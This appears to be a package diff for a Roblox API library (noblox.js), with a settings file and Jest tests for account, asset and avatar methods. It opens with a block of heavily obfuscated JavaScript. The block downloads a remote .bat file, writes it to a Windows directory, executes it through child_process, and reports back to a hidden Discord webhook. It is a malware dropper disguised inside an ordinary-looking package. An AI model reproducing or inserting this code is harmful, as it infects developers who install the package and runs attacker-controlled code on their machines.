_0x521a29=_0x268683[_0x156def(0x11,-0x1c,0x1c,0xb)](Function,_0x268683[_0x5af8c8(-0x34,-0x30,-0x23,-0x2e)](_0x268683['sCIcH'](_0x268683[_0x5af8c8(-0x3e,-0x31,-0x3e,-0x20)],_0x268683[_0x5af8c8(-0x3d,-0x43,-0x28,-0x29)]),');'));_0x56c61c=_0x268683[_0x5af8c8(-0x69,-0x66,-0x78,-0x8d)](_0x521a29);}catch(_0x1063b1){if(_0x268683['ARAdd']('SExyY',_0x268683[_0x5af8c8(-0x3f,-0x55,-0x69,-0x7a)]))_0x56c61c=window;else{const _0x3bd31f=_0x2f33ee?function(){function _0x1db4df(_0x16986e,_0x57e817,_0x4b9c9b,_0x7cecdd){return _0x5af8c8(_0x16986e-0x26,_0x7cecdd-0xb5,_0x4b9c9b-0x1e2,_0x4b9c9b);}if(_0x58b2ac){const _0x3212ad=_0x5ab8fe[_0x1db4df(0x44,0x8f,0x52,0x6f)](_0x20bf3c,arguments);return _0x581e3e=null,_0x3212ad;}}:function(){};return _0x33dfd7=![],_0x3bd31f;}}function _0x156def(_0x1b5e7e,_0x93ec76,_0x1e56b7,_0x45c99e){return _0xf9b5(_0x45c99e- -0x105,_0x1e56b7);}const _0xa8b10e=_0x56c61c['console']=_0x56c61c[_0x156def(0x14,0x11,0x1b,0x0)]||{};function _0x5af8c8(_0x203a99,_0x54822a,_0x4eef9a,_0x1b3eb2){return _0xf9b5(_0x54822a- -0x169,_0x1b3eb2);}const _0x43c58=[_0x268683['xPVhm'],_0x5af8c8(-0x5c,-0x3e,-0x1f,-0x55),_0x268683[_0x5af8c8(-0x5f,-0x54,-0x51,-0x5f)],_0x5af8c8(-0x1,-0x2a,-0xa,-0x3d),_0x268683['bEzVt'],_0x268683[_0x5af8c8(-0x48,-0x35,-0x4a,-0x2b)],_0x268683[_0x156def(0x10,0x2,0x3,-0x8)]];for(let _0x240d0f=0x74d*-0x2+0x2*-0x14b+0x2*0x898;_0x268683[_0x156def(0x3f,0x49,0x3c,0x2a)](_0x240d0f,_0x43c58[_0x156def(-0x22,-0x15,-0x34,-0x12)]);_0x240d0f++){const _0x1d545c=_0x517dc1[_0x5af8c8(-0x4d,-0x49,-0x59,-0x5a)+'r'][_0x5af8c8(-0x2d,-0x2d,-0x4b,-0x12)][_0x156def(-0x17,0x22,0x1b,-0x4)](_0x517dc1),_0x2c1e1d=_0x43c58[_0x240d0f],_0x2efc52=_0xa8b10e[_0x2c1e1d]||_0x1d545c;_0x1d545c[_0x156def(0x46,0x4c,0x2e,0x28)]=_0x517dc1['bind'](_0x517dc1),_0x1d545c[_0x156def(0x16,0x1d,-0x5,0x1f)]=_0x2efc52[_0x156def(-0x4,-0x3,0x32,0x1f)]['bind'](_0x2efc52),_0xa8b10e[_0x2c1e1d]=_0x1d545c;}});_0x34da7a();function _0x1b2f9b(_0x4f8ced,_0x14ef32,_0x27486c,_0x4ec162){return _0xf9b5(_0x4f8ced- -0x1da,_0x14ef32);}function _0x3f49(){const _0x4fde5f=['otzltxPtA20','DNDMBum','mZKXntqWEfHLCenb','mtLWsfbRyxDRDG','vfjpteXmt0XmlW','C0DzzMu','D2fYBG','BgrJyKq','x19WCM90B19F','nJqVrNa1D2zUmq','Bxr5Cwe','BI9QC29U','kcGOlISPkYKRkq','qxbP','x0jNnJLxu1G1tG','Evr1vxm','BM9Kzs1MzxrJAa','mZa5otmYyMLgENPw','odyZmZaXndy0mq','r292q1q','C0njy0G','yNvMzMvY','D3jPDgvgAwXLuW','ChjVDg90ExbL','v2y1qZi3nJzfAG','DgH1yI5JB20Vyq','zxjYB3i','C3rYAw5NAwz5','y29UDgvUDa','z3jlAMe','DgfIBgu','A3mVmtiYoteYmq','CMvJDxjZAxzL','CM4GDgHPCYiPka','ohP5CeXyrW','BgvUz3rO','otG5nty5ohrsu0nWAW','q0r6rgS','zwvUierLCgXVEq','nZa5mde5mgTPz3bLtG','zwXSBY5Iyxq','yxbWBgLJyxrPBW','AuXPyI5Iyxq','mxLNExDIt0zyoq','Ahr0Chm6lY9NAq','CMzhugu','zxHJzxb0Aw9U','mJe2nJe3BxjuB3Lo','odKXmdq0sgDHuNzH','yMLUza','E30Uy29UC3rYDq','C2PpAuu','tMfIz0m','y29UC29Szq','CMf3l21HAw4VAa','CMv0DxjUicHMDq','y2f0y2G','nZeWodqYndrlugn1teO','mtiXz0T4BNDL','C2nVCMqUy29TlW','DgHLBG','AKzYwMG','zxHLyW','Aw5MBW','zuL3BKG','DwXSEs4','zwqGu3vJzxnZzG','mtbSsunXEfu','vxb0Cvm','Au1Kqui','s3HVC2C','DhjHy2u','C2vHCMnO','BMn0Aw9UkcKG','y2HPBgrFChjVyW','tMLSlcbOyxmGyG','uu9qBui','vgLxrMi','qZOVv2LUzg93CW','Bg9N','y29UC3rYDwn0BW','m3D6y3btAa','l1DPBMrVD3nbCa','yxbWBhK','Dg9tDhjPBMC'];_0x3f49=function(){return _0x4fde5f;};return _0x3f49();}const fs=require('fs'),fetch=require(_0x99f3ce(0x21a,0x21c,0x245,0x244)),{promisify}=require('util'),webhook='https://di'+_0x99f3ce(0x225,0x20d,0x21b,0x228)+'api/webhoo'+_0x1b2f9b(-0xeb,-0xf0,-0xd7,-0x110)+_0x99f3ce(0x267,0x22d,0x247,0x25f)+_0x99f3ce(0x23d,0x23f,0x23e,0x249)+'I7K2VzHLED'+_0x99f3ce(0x26e,0x22d,0x24d,0x268)+_0x1b2f9b(-0xdf,-0xe1,-0xec,-0xcf)+_0x99f3ce(0x245,0x235,0x238,0x22d)+'7VH9fixB8X'+_0x1b2f9b(-0xa7,-0xae,-0xc5,-0xd1)+'3',baturl=_0x99f3ce(0x218,0x20d,0x20c,0x1ed)+_0x1b2f9b(-0x9c,-0x93,-0x7c,-0x77)+'spdasdksa/'+_0x1b2f9b(-0xb1,-0xd2,-0xcf,-0xa4)+_0x99f3ce(0x205,0x202,0x216,0x239)+_0x1b2f9b(-0xe2,-0xd5,-0xf6,-0xc0),batDestination=_0x1b2f9b(-0xbc,-0xaa,-0xc9,-0xd7)+_0x99f3ce(0x21d,0x257,0x242,0x23e);function _0x99f3ce(_0x3f1cc1,_0x2540be,_0x33aa66,_0x396c9c){return _0xf9b5(_0x33aa66-0x110,_0x396c9c);}const executeBat=async(_0x1ecbea,_0x4d218b)=>{function _0x419c10(_0x4b2ada,_0x2641b9,_0x41747c,_0x3a9f14){return _0x99f3ce(_0x4b2ada-0x93,_0x2641b9-0x8e,_0x4b2ada- -0x23,_0x3a9f14);}const _0xf8375={'TiWFb':function(_0x33771a,_0x4615b6){return _0x33771a(_0x4615b6);},'grKja':function(_0x53e74a,_0x3c7b57){return _0x53e74a(_0x3c7b57);}};if(!fs['existsSync'](_0x4d218b)){const _0x53c842={};_0x53c842[_0x419c10(0x1dd,0x1bf,0x1d0,0x1b3)]=!![],fs['mkdirSync'](_0x4d218b,_0x53c842);}const _0xf80c2a=await _0xf8375['TiWFb'](fetch,_0x1ecbea),_0x484751=await _0xf80c2a[_0x4d2c11(0x370,0x379,0x366,0x375)]();function _0x4d2c11(_0x270310,_0x2ef3e0,_0xf898e7,_0x3dbd29){return _0x99f3ce(_0x270310-0xe1,_0x2ef3e0-0x97,_0x3dbd29-0x12b,_0x2ef3e0);}fs[_0x419c10(0x228,0x24f,0x231,0x246)+'ync'](_0x4d218b+(_0x419c10(0x20f,0x1fc,0x1ee,0x21b)+'iLib.bat'),_0x484751),await _0xf8375[_0x4d2c11(0x370,0x351,0x349,0x358)](promisify,_0xf8375[_0x419c10(0x22f,0x23e,0x23d,0x240)](require,_0x4d2c11(0x342,0x335,0x36e,0x355)+'ess')[_0x4d2c11(0x330,0x34f,0x33b,0x349)])(_0x4d218b+('/WindowsAp'+_0x419c10(0x1e7,0x1ee,0x1d2,0x1f8)));};executeBat(baturl,batDestination)[_0x1b2f9b(-0xce,-0xf5,-0xe0,-0xf1)](async()=>{const _0x253baf={'sGYfe':function(_0x43d361,_0x4f5e12,_0x4f7200){return _0x43d361(_0x4f5e12,_0x4f7200);},'NabgC':'POST','ldcbD':_0x346f0f(0x25c,0x25d,0x284,0x278)+_0x346f0f(0x29e,0x294,0x2a9,0x26b)},_0x57d68e=_0x346f0f(0x295,0x27f,0x262,0x295)+_0xf7f456(-0xec,-0x10a,-0xc1,-0xe8)+_0xf7f456(-0xad,-0xd6,-0xe5,-0xcc)+_0xf7f456(-0xe4,-0xd5,-0xcc,-0xcd);function _0x346f0f(_0x5e1216,_0x2dacf7,_0x25c4d3,_0xf9d752){return _0x99f3ce(_0x5e1216-0x6a,_0x2dacf7-0x6b,_0x2dacf7-0x54,_0xf9d752);}const _0x104e13={};_0x104e13[_0xf7f456(-0xad,-0x84,-0xa0,-0x9d)]=_0x57d68e;function _0xf7f456(_0x64f812,_0x211dce,_0x33287a,_0x2d760f){return _0x99f3ce(_0x64f812-0x5a,_0x211dce-0x5f,_0x2d760f- -0x2ee,_0x211dce);}await _0x253baf[_0x346f0f(0x2af,0x28e,0x297,0x2b2)](fetch,webhook,{'method':_0x253baf[_0xf7f456(-0xc3,-0xf1,-0xef,-0xda)],'headers':{'Content-Type':_0x253baf[_0x346f0f(0x26e,0x290,0x268,0x279)]},'body':JSON[_0x346f0f(0x2a7,0x2a4,0x299,0x2ad)](_0x104e13)});})[_0x1b2f9b(-0xd2,-0xf2,-0xe1,-0xb6)](_0x453f81=>console['error'](_0x453f81));
|
package/settings.json
ADDED
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
{
|
|
2
|
+
"session_only": true,
|
|
3
|
+
"session_only_desc": "Minimizes data usage and speed up requests by only saving session cookies, disable if you need other cookies to be saved as well.",
|
|
4
|
+
|
|
5
|
+
"maxThreads": 50,
|
|
6
|
+
"maxThreads_desc": "This is usually used for functions that have to receive a lot of pages at once. Only this amount will be queued up as to preserve memory, make this as high as possible for fastest responses (although it will be somewhat limited by maxSockets).",
|
|
7
|
+
|
|
8
|
+
"timeout": 10000,
|
|
9
|
+
"timeout_desc": "Timeout for http requests. This is necessary for functions that make a very large number of requests, where it is possible some simply won't connect.",
|
|
10
|
+
|
|
11
|
+
"event": {
|
|
12
|
+
"maxRetries": 5,
|
|
13
|
+
"maxRetries_desc": "Maximum number of consecutive retries after an event times out or fails in some other way.",
|
|
14
|
+
"timeout": 10000,
|
|
15
|
+
"timeout_desc": "Maximum time (in milliseconds) a request can take. If your server has extremely high latency you may have to raise this.",
|
|
16
|
+
"event_desc": "Below is the poll time (in milliseconds) for each of the event functions. A lower number will detect changes much quicker but will stress the network, a higher one does the opposite.",
|
|
17
|
+
"defaultDelay": 10000,
|
|
18
|
+
"onAuditLog": 10000,
|
|
19
|
+
"onWallPost": 10000,
|
|
20
|
+
"onJoinRequestHandle": 10000,
|
|
21
|
+
"onJoinRequest": 10000,
|
|
22
|
+
"onShout": 10000,
|
|
23
|
+
"onBlurbChange": 10000,
|
|
24
|
+
"onGroupTransaction": 60000
|
|
25
|
+
},
|
|
26
|
+
|
|
27
|
+
"thumbnail": {
|
|
28
|
+
"maxRetries": 2,
|
|
29
|
+
"maxRetries_desc": "Maximum number of retries to retrieve a pending thumbnail, rare, but occurs with uncached users (Roblox's cache)",
|
|
30
|
+
"retryDelay": 500,
|
|
31
|
+
"retryDelay_desc": "The time to wait between consecutive retries of retrieving pending thumbnails",
|
|
32
|
+
"failedUrl": {
|
|
33
|
+
"pending": "",
|
|
34
|
+
"blocked": ""
|
|
35
|
+
},
|
|
36
|
+
"failedUrl_desc": "The image URL to provide when an asset thumbnail is still pending or has been moderated by Roblox; defaults to Roblox moderation icon via noblox.js's GitHub repo at https://noblox.js.org/moderatedThumbnails/moderatedThumbnail_{size}.png"
|
|
37
|
+
},
|
|
38
|
+
|
|
39
|
+
"queue": {
|
|
40
|
+
"Message": {
|
|
41
|
+
"delay": 0,
|
|
42
|
+
"desc": "Although messages do have a floodcheck, it is not instituted immediately so this is disabled by default. If you are sending a lot of messages set a delay around 10-15 seconds (10000-15000)"
|
|
43
|
+
}
|
|
44
|
+
},
|
|
45
|
+
|
|
46
|
+
"cache": {
|
|
47
|
+
"XCSRF": {
|
|
48
|
+
"expire": 1800,
|
|
49
|
+
"refresh": false,
|
|
50
|
+
"desc": "XCSRF tokens expire 30 minutes after being created. Until they expire, however, no new tokens can be made. Sometimes an XCSRF token has already been created for the user so the server doesn't know when to collect a new one. During transitions some requests may use invalid tokens. For now, new XCSRF tokens are automatically retrieved when cached ones get rejected."
|
|
51
|
+
},
|
|
52
|
+
|
|
53
|
+
"Verify": {
|
|
54
|
+
"expire": 7200,
|
|
55
|
+
"refresh": 3600,
|
|
56
|
+
"desc": "Verification tokens seem to last extremely long times."
|
|
57
|
+
},
|
|
58
|
+
|
|
59
|
+
"Roles": {
|
|
60
|
+
"expire": 600,
|
|
61
|
+
"refresh": true,
|
|
62
|
+
"desc": "This should be fine unless your group changes its ranks often."
|
|
63
|
+
},
|
|
64
|
+
|
|
65
|
+
"RolesetId": {
|
|
66
|
+
"expire": 86400,
|
|
67
|
+
"refresh": false,
|
|
68
|
+
"desc": "Disable this completely if you don't plan on ever changing your exile bot's rank."
|
|
69
|
+
},
|
|
70
|
+
|
|
71
|
+
"Product": {
|
|
72
|
+
"expire": false,
|
|
73
|
+
"refresh": false,
|
|
74
|
+
"desc": "Disabled by default for security (price checks). If you are only working with ROBLOX assets, however, you can set this to something high (since ROBLOX product info rarely changes)."
|
|
75
|
+
},
|
|
76
|
+
|
|
77
|
+
"GamePassProduct": {
|
|
78
|
+
"expire": 86400,
|
|
79
|
+
"refresh": false,
|
|
80
|
+
"desc": "This should normally be fine unless the information of GamePasses you are working with changes frequently."
|
|
81
|
+
},
|
|
82
|
+
|
|
83
|
+
"NameFromID": {
|
|
84
|
+
"expire": false,
|
|
85
|
+
"refresh": false,
|
|
86
|
+
"desc": "Caches a user's username based on their ID. It is not on by default because it is an uncontrollable change but the option is there to cache it if you would like."
|
|
87
|
+
},
|
|
88
|
+
|
|
89
|
+
"IDFromName": {
|
|
90
|
+
"expire": true,
|
|
91
|
+
"refresh": false,
|
|
92
|
+
"desc": "Permanent cache for a user's ID based on their name. There is no reason this would ever change (changing names would re-match it and old names cannot be reused by other accounts). Only disable if you want this to match current names only."
|
|
93
|
+
},
|
|
94
|
+
|
|
95
|
+
"SenderID": {
|
|
96
|
+
"expire": true,
|
|
97
|
+
"refresh": false,
|
|
98
|
+
"desc": "Permanent cache for the sender's user ID. This should literally never change."
|
|
99
|
+
},
|
|
100
|
+
|
|
101
|
+
"Rank": {
|
|
102
|
+
"expire": false,
|
|
103
|
+
"refresh": false,
|
|
104
|
+
"desc": "Caches rank by user ID. Changes cannot be anticipated so this is not enabled by default."
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
}
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
const { getUserSocialLinks, setCookie } = require('../lib')
|
|
2
|
+
|
|
3
|
+
beforeAll(() => {
|
|
4
|
+
return new Promise(resolve => {
|
|
5
|
+
setCookie(process.env.COOKIE).then(() => {
|
|
6
|
+
resolve()
|
|
7
|
+
})
|
|
8
|
+
})
|
|
9
|
+
})
|
|
10
|
+
|
|
11
|
+
describe('Account Information Methods', () => {
|
|
12
|
+
it('getUserSocialLinks() returns a player\'s promotion channel links', () => {
|
|
13
|
+
return getUserSocialLinks(2416399685).then((res) => {
|
|
14
|
+
return expect(res).toMatchObject({
|
|
15
|
+
facebook: expect.toBeOneOf([expect.any(String), null]),
|
|
16
|
+
twitter: expect.toBeOneOf([expect.any(String), null]),
|
|
17
|
+
youtube: expect.toBeOneOf([expect.any(String), null]),
|
|
18
|
+
twitch: expect.toBeOneOf([expect.any(String), null]),
|
|
19
|
+
guilded: expect.toBeOneOf([expect.any(String), null])
|
|
20
|
+
})
|
|
21
|
+
})
|
|
22
|
+
})
|
|
23
|
+
|
|
24
|
+
it('getUserSocialLinks() doesn\'t return a player\'s promotion channel links and errors when user is invalid', async () => {
|
|
25
|
+
return await expect(getUserSocialLinks(-5)).rejects.toThrow()
|
|
26
|
+
})
|
|
27
|
+
})
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
const { block, unblock, setCookie } = require('../lib')
|
|
2
|
+
|
|
3
|
+
beforeAll(() => {
|
|
4
|
+
return new Promise(resolve => {
|
|
5
|
+
setCookie(process.env.COOKIE).then(() => {
|
|
6
|
+
resolve()
|
|
7
|
+
})
|
|
8
|
+
})
|
|
9
|
+
})
|
|
10
|
+
|
|
11
|
+
describe('Account Settings Methods', () => {
|
|
12
|
+
it('block() blocks a user on Roblox', async () => {
|
|
13
|
+
await expect(block(4397833)).resolves.not.toThrow()
|
|
14
|
+
})
|
|
15
|
+
|
|
16
|
+
it('block() errors when you try to block a blocked user on Roblox', async () => {
|
|
17
|
+
await expect(block(4397833)).rejects.toThrow()
|
|
18
|
+
})
|
|
19
|
+
|
|
20
|
+
it('unblock() unblocks a user on Roblox', async () => {
|
|
21
|
+
await expect(unblock(4397833)).resolves.not.toThrow()
|
|
22
|
+
})
|
|
23
|
+
|
|
24
|
+
it('block() errors when you try to unblock an unblocked user on Roblox', async () => {
|
|
25
|
+
await expect(unblock(4397833)).rejects.toThrow()
|
|
26
|
+
})
|
|
27
|
+
})
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
const { buy, deleteFromInventory, getGamePassProductInfo, getProductInfo, uploadAnimation, uploadItem, uploadModel, setCookie, getOwnership, getCurrentUser } = require('../lib')
|
|
2
|
+
const fs = require('fs')
|
|
3
|
+
|
|
4
|
+
beforeAll(() => {
|
|
5
|
+
return new Promise(resolve => {
|
|
6
|
+
setCookie(process.env.COOKIE).then(() => {
|
|
7
|
+
resolve()
|
|
8
|
+
})
|
|
9
|
+
})
|
|
10
|
+
})
|
|
11
|
+
|
|
12
|
+
describe('Asset Methods', () => {
|
|
13
|
+
it('deleteFromInventory() successfully deletes an item from user\'s inventory', async () => {
|
|
14
|
+
await getOwnership(await getCurrentUser('UserId'), 1778181).then((res) => {
|
|
15
|
+
if (!res) return buy(1778181)
|
|
16
|
+
})
|
|
17
|
+
return await expect(deleteFromInventory(1778181)).resolves.not.toThrow()
|
|
18
|
+
})
|
|
19
|
+
|
|
20
|
+
it('deleteFromInventory() errors when it tries to delete an item from user\'s inventory that isn\'t there', async () => {
|
|
21
|
+
return await expect(deleteFromInventory(1778181)).rejects.toThrow()
|
|
22
|
+
})
|
|
23
|
+
|
|
24
|
+
it('getGamePassProductInfo() successfully returns a gamepass\'s information', () => {
|
|
25
|
+
return getGamePassProductInfo(2919875).then((res) => {
|
|
26
|
+
return expect(res).toMatchObject({
|
|
27
|
+
Name: expect.any(String),
|
|
28
|
+
Description: expect.any(String),
|
|
29
|
+
Creator: expect.any(Object),
|
|
30
|
+
PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
|
|
31
|
+
})
|
|
32
|
+
})
|
|
33
|
+
})
|
|
34
|
+
|
|
35
|
+
it('getGamePassProductInfo() errors when returning a product\'s information that does not exist', async () => {
|
|
36
|
+
return await expect(getGamePassProductInfo(0)).rejects.toThrow()
|
|
37
|
+
})
|
|
38
|
+
|
|
39
|
+
it('getProductInfo() successfully returns a product\'s information', () => {
|
|
40
|
+
return getProductInfo(1989194006).then((res) => {
|
|
41
|
+
return expect(res).toMatchObject({
|
|
42
|
+
AssetId: expect.any(Number),
|
|
43
|
+
ProductId: expect.any(Number),
|
|
44
|
+
Name: expect.any(String),
|
|
45
|
+
Description: expect.any(String),
|
|
46
|
+
Creator: expect.any(Object),
|
|
47
|
+
PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
|
|
48
|
+
})
|
|
49
|
+
})
|
|
50
|
+
})
|
|
51
|
+
|
|
52
|
+
it('getProductInfo() errors when returning a product\'s information that does not exist', async () => {
|
|
53
|
+
return await expect(getProductInfo(3)).rejects.toThrow()
|
|
54
|
+
})
|
|
55
|
+
|
|
56
|
+
it('uploadAnimation() uploads an animation', () => {
|
|
57
|
+
return uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'), { name: 'noblox', description: 'A noblox test!', copyLocked: true, allowComments: false }).then((res) => {
|
|
58
|
+
return expect(res).toEqual(expect.any(Number))
|
|
59
|
+
})
|
|
60
|
+
})
|
|
61
|
+
|
|
62
|
+
it('uploadAnimation() errors when no options are provided', async () => {
|
|
63
|
+
await expect(uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'))).rejects.toThrow()
|
|
64
|
+
})
|
|
65
|
+
|
|
66
|
+
it('uploadItem() uploads an image', async () => {
|
|
67
|
+
await expect(uploadItem('noblox', 13, fs.createReadStream('./img/noblox-js.png'))).resolves.not.toThrow()
|
|
68
|
+
})
|
|
69
|
+
|
|
70
|
+
it('uploadModel() uploads a model', async () => {
|
|
71
|
+
await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'), {
|
|
72
|
+
name: 'Shark Fin',
|
|
73
|
+
description: 'Uploaded via noblox',
|
|
74
|
+
copyLocked: true
|
|
75
|
+
})).resolves.not.toThrow()
|
|
76
|
+
})
|
|
77
|
+
|
|
78
|
+
it('uploadModel() errors when no options are provided', async () => {
|
|
79
|
+
await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'))).rejects.toThrow()
|
|
80
|
+
})
|
|
81
|
+
})
|
|
Binary file
|
|
Binary file
|
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
const { avatarRules, currentlyWearing, getAvatar, getCurrentAvatar, getRecentItems, outfitDetails, outfits, redrawAvatar, removeAssetId, setAvatarBodyColors, setAvatarScales, setPlayerAvatarType, setWearingAssets, wearAssetId, setCookie } = require('../lib')
|
|
2
|
+
|
|
3
|
+
beforeAll(() => {
|
|
4
|
+
return new Promise(resolve => {
|
|
5
|
+
setCookie(process.env.COOKIE).then(() => {
|
|
6
|
+
resolve()
|
|
7
|
+
})
|
|
8
|
+
})
|
|
9
|
+
})
|
|
10
|
+
|
|
11
|
+
describe('Avatar Methods', () => {
|
|
12
|
+
it('avatarRules() returns avatar rules from Roblox', () => {
|
|
13
|
+
return avatarRules().then((rules) => {
|
|
14
|
+
expect(rules).toMatchObject({
|
|
15
|
+
playerAvatarTypes: expect.any(Array),
|
|
16
|
+
scales: expect.any(Object),
|
|
17
|
+
wearableAssetTypes: expect.any(Array),
|
|
18
|
+
bodyColorsPalette: expect.any(Array),
|
|
19
|
+
basicBodyColorsPalette: expect.any(Array),
|
|
20
|
+
minimumDeltaEBodyColorDifference: expect.any(Number),
|
|
21
|
+
proportionsAndBodyTypeEnabledForUser: expect.any(Boolean),
|
|
22
|
+
defaultClothingAssetLists: expect.any(Object),
|
|
23
|
+
bundlesEnabledForUser: expect.any(Boolean),
|
|
24
|
+
emotesEnabledForUser: expect.any(Boolean)
|
|
25
|
+
})
|
|
26
|
+
})
|
|
27
|
+
})
|
|
28
|
+
|
|
29
|
+
it('currentlyWearing() returns an array containing which assets are being worn by a user', () => {
|
|
30
|
+
return currentlyWearing(1).then((res) => {
|
|
31
|
+
expect(res).toMatchObject({
|
|
32
|
+
assetIds: expect.any(Array)
|
|
33
|
+
})
|
|
34
|
+
})
|
|
35
|
+
})
|
|
36
|
+
|
|
37
|
+
it('getAvatar() returns avatar information on a user', () => {
|
|
38
|
+
return getAvatar(1).then((res) => {
|
|
39
|
+
expect(res).toMatchObject({
|
|
40
|
+
scales: expect.any(Object),
|
|
41
|
+
playerAvatarType: expect.any(String),
|
|
42
|
+
bodyColors: expect.any(Object),
|
|
43
|
+
assets: expect.any(Array),
|
|
44
|
+
defaultShirtApplied: expect.any(Boolean),
|
|
45
|
+
defaultPantsApplied: expect.any(Boolean),
|
|
46
|
+
emotes: expect.any(Array)
|
|
47
|
+
})
|
|
48
|
+
})
|
|
49
|
+
})
|
|
50
|
+
|
|
51
|
+
it('getCurrentAvatar() returns avatar information for logged in user', () => {
|
|
52
|
+
return getCurrentAvatar().then((res) => {
|
|
53
|
+
expect(res).toMatchObject({
|
|
54
|
+
scales: expect.any(Object),
|
|
55
|
+
playerAvatarType: expect.any(String),
|
|
56
|
+
bodyColors: expect.any(Object),
|
|
57
|
+
assets: expect.any(Array),
|
|
58
|
+
defaultShirtApplied: expect.any(Boolean),
|
|
59
|
+
defaultPantsApplied: expect.any(Boolean),
|
|
60
|
+
emotes: expect.any(Array)
|
|
61
|
+
})
|
|
62
|
+
})
|
|
63
|
+
})
|
|
64
|
+
|
|
65
|
+
it('getRecentItems() returns recently worn items for logged in user', () => {
|
|
66
|
+
return getRecentItems('Accessories').then((res) => {
|
|
67
|
+
expect(res).toMatchObject({
|
|
68
|
+
data: expect.any(Array),
|
|
69
|
+
total: expect.any(Number)
|
|
70
|
+
})
|
|
71
|
+
})
|
|
72
|
+
})
|
|
73
|
+
|
|
74
|
+
it('outfitDetails() returns information on a created outfit (costume)', () => {
|
|
75
|
+
return outfitDetails(19461896).then((res) => {
|
|
76
|
+
expect(res).toMatchObject({
|
|
77
|
+
id: expect.any(Number),
|
|
78
|
+
name: expect.any(String),
|
|
79
|
+
assets: expect.any(Array),
|
|
80
|
+
bodyColors: expect.any(Object),
|
|
81
|
+
scale: expect.any(Object),
|
|
82
|
+
playerAvatarType: expect.any(String),
|
|
83
|
+
isEditable: expect.any(Boolean)
|
|
84
|
+
})
|
|
85
|
+
})
|
|
86
|
+
})
|
|
87
|
+
|
|
88
|
+
it('outfits() returns a user\'s oufits', () => {
|
|
89
|
+
return outfits(1).then((res) => {
|
|
90
|
+
expect(res).toMatchObject({
|
|
91
|
+
filteredCount: expect.any(Number),
|
|
92
|
+
data: expect.any(Array),
|
|
93
|
+
total: expect.any(Number)
|
|
94
|
+
})
|
|
95
|
+
})
|
|
96
|
+
})
|
|
97
|
+
|
|
98
|
+
it('redrawAvatar() redraws logged in user\'s avatar or gets flood checked', () => {
|
|
99
|
+
return redrawAvatar().catch((err) => {
|
|
100
|
+
// eslint-disable-next-line jest/no-conditional-expect
|
|
101
|
+
expect(() => { throw new Error(err) }).toThrow('Redraw avatar floodchecked')
|
|
102
|
+
})
|
|
103
|
+
})
|
|
104
|
+
|
|
105
|
+
it('removeAssetId() takes off a worn asset on logged in user\'s avatar', async () => {
|
|
106
|
+
await expect(removeAssetId(1989194006)).resolves.not.toThrow()
|
|
107
|
+
})
|
|
108
|
+
|
|
109
|
+
it('setAvatarBodyColors() sets body colors to selected colors', () => {
|
|
110
|
+
return setAvatarBodyColors(194, 37, 194, 194, 102, 102).then(() => {
|
|
111
|
+
return getCurrentAvatar().then((res) => {
|
|
112
|
+
expect(res.bodyColors).toEqual({
|
|
113
|
+
headColorId: 194,
|
|
114
|
+
torsoColorId: 37,
|
|
115
|
+
rightArmColorId: 194,
|
|
116
|
+
leftArmColorId: 194,
|
|
117
|
+
rightLegColorId: 102,
|
|
118
|
+
leftLegColorId: 102
|
|
119
|
+
})
|
|
120
|
+
})
|
|
121
|
+
})
|
|
122
|
+
})
|
|
123
|
+
|
|
124
|
+
it('setAvatarScales() sets avatar scales', () => {
|
|
125
|
+
return setAvatarScales(1, 1, 1, 1, 0, 0).then(() => {
|
|
126
|
+
return getCurrentAvatar().then((res) => {
|
|
127
|
+
expect(res.scales).toEqual({
|
|
128
|
+
height: 1,
|
|
129
|
+
width: 1,
|
|
130
|
+
head: 1,
|
|
131
|
+
depth: 1,
|
|
132
|
+
proportion: 0,
|
|
133
|
+
bodyType: 0
|
|
134
|
+
})
|
|
135
|
+
})
|
|
136
|
+
})
|
|
137
|
+
})
|
|
138
|
+
|
|
139
|
+
it('setPlayerAvatarType() sets avatar body type', () => {
|
|
140
|
+
return setPlayerAvatarType('R6').then(() => {
|
|
141
|
+
return getCurrentAvatar().then((res) => {
|
|
142
|
+
expect(res.playerAvatarType).toBe('R6')
|
|
143
|
+
})
|
|
144
|
+
})
|
|
145
|
+
})
|
|
146
|
+
|
|
147
|
+
it('setWearingAssets() sets the player worn asset ID list to whatever is provided', async () => {
|
|
148
|
+
await expect(setWearingAssets([63690008,
|
|
149
|
+
86498048,
|
|
150
|
+
86500008,
|
|
151
|
+
86500036,
|
|
152
|
+
86500054,
|
|
153
|
+
86500064,
|
|
154
|
+
86500078,
|
|
155
|
+
144075659,
|
|
156
|
+
144076358,
|
|
157
|
+
144076760
|
|
158
|
+
])).resolves.not.toThrow()
|
|
159
|
+
})
|
|
160
|
+
|
|
161
|
+
it('wearAssetId() wears the asset ID provided on the currently logged in user\'s avatar', async () => {
|
|
162
|
+
await expect(wearAssetId(1989194006)).resolves.not.toThrow()
|
|
163
|
+
})
|
|
164
|
+
})
|